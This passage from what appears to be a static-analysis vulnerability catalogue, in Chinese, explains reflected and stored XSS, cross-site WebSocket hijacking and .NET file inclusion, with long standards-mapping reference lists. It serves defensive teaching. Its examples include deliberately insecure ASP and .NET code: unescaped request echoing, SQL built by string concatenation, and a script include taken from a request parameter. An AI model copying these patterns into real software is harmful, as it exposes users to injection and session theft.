[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下 ASP 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:以下 ASP 代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_reflected
Abstract
服务器有效地接收跨域请求时将无法验证请求源,而攻击者可以利用这些跨域请求劫持攻击双向 WebSocket 连接。
Explanation
当用户受诱使访问恶意站点时,该站点将与合法的后端站点建立 WebSocket 连接,这时将发生跨站 WebSocket 劫持。用于请求服务器更新到 WebSocket 协议的初始 HTTP 请求是一个常规 HTTP 请求,因此浏览器将发送任何绑定到目标域的 cookie,包括任何会话 cookie。如果服务器无法验证 Origin 头文件,它将允许任何恶意站点模拟用户并在用户不知情的情况下建立双向 WebSocket 连接。
References
[1] Christian Schneider Cross-Site WebSocket Hijacking
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [9] CWE ID 352
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [9] CWE ID 352
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [9] CWE ID 352
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [9] CWE ID 352
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [4] CWE ID 352
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 4.2.2 Operation Level Access Control (L1 L2 L3), 13.2.3 RESTful Web Service Verification Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[16] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[17] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[31] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[32] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
desc.semantic.dotnet.cross_site_websocket_hijacking
Abstract
服务器无法验证请求源,因此可以接收由攻击者用于劫持攻击双向 WebSocket 连接的跨域请求。
Explanation
当用户受诱使访问恶意站点时,该站点将与合法的后端站点建立 WebSocket 连接,这时将发生跨站 WebSocket 劫持。用于请求服务器更新到 WebSocket 协议的初始 HTTP 请求是一个常规 HTTP 请求,因此浏览器将发送任何绑定到目标域的 cookie,包括任何会话 cookie。如果服务器无法验证 Origin 头文件,它将允许任何恶意站点模拟用户并在用户不知情的情况下建立双向 WebSocket 连接。
References
[1] Christian Schneider Cross-Site WebSocket Hijacking
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [9] CWE ID 352
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [9] CWE ID 352
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [9] CWE ID 352
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [9] CWE ID 352
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [4] CWE ID 352
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-2 Identification and Authentication (Organizational Users) (P1), SC-23 Session Authenticity (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-2 Identification and Authentication (Organizational Users), SC-23 Session Authenticity, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 4.2.2 Operation Level Access Control (L1 L2 L3), 13.2.3 RESTful Web Service Verification Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[16] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[17] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[31] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[32] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
desc.semantic.java.cross_site_websocket_hijacking
Abstract
该字段已标注为危险。所有对其的使用都将加注标记。
Explanation
已将注释 FortifyDangerous 应用于此字段。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。
References
[1] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
desc.structural.java.dangerous_field
Abstract
如果允许未经验证的用户输入控制动态包含在 HTML 文件中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

示例 1:以下代码会采用用户指定的模板名称,并将该名称包含在所呈现的 HTML 页面中。


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


Example 1 中,攻击者可通过为 includedURL 提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。

如果攻击者为动态 include 指令指定一个有效文件,.NET 会将该文件的内容插入发送给用户的 HTML 文件。对于一个纯文本文件来说,如 web.config,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
